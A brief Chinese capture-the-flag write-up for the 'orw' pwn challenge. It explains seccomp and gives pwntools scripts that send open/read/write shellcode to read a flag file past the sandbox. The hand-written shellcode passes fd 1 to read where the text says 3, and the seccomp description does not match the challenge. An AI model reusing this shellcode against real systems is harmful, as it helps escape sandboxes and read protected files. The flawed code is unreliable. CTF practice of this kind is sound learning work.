image.png
    刚开始我还以为是直接shellcode输入就好了,结果好像并不是
    image.png
    于是看了这个函数,看不懂真的,于是我就百度了

    1. seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种
    2. 简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴
    3. 露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用
    4. 会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程
    5. 只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则
    6. 进程便会被终止。

    难怪用shellcraft不行了,然后网上绝大多的博客都是自己写了一个shellcode
    简单来说就这三步

    1. sys_open('flag',0,0)
    2. sys_read(3,esp,0x100)
    3. sys_write(1,esp,0x100)

    然后自己写或者用shellcraft

    1. from pwn import*
    2. context.log_level = 'debug'
    3. #io = remote("node4.buuoj.cn",27565)
    4. io = process('./orw')
    5. #elf = ELF('./memory')
    6. shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80;')
    7. shellcode +=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x1;mov edx,0x100;int 0x80;')
    8. shellcode +=asm('mov eax,0x4;mov ebx,0x1;int 0x80;')
    9. io.send(shellcode)
    10. io.interactive()
    1. shellcode = shellcraft.open('flag',0)
    2. shellcode+=shellcraft.read(3,'esp',0x100)
    3. shellcode+=shellcraft.write(1,'esp',0x100)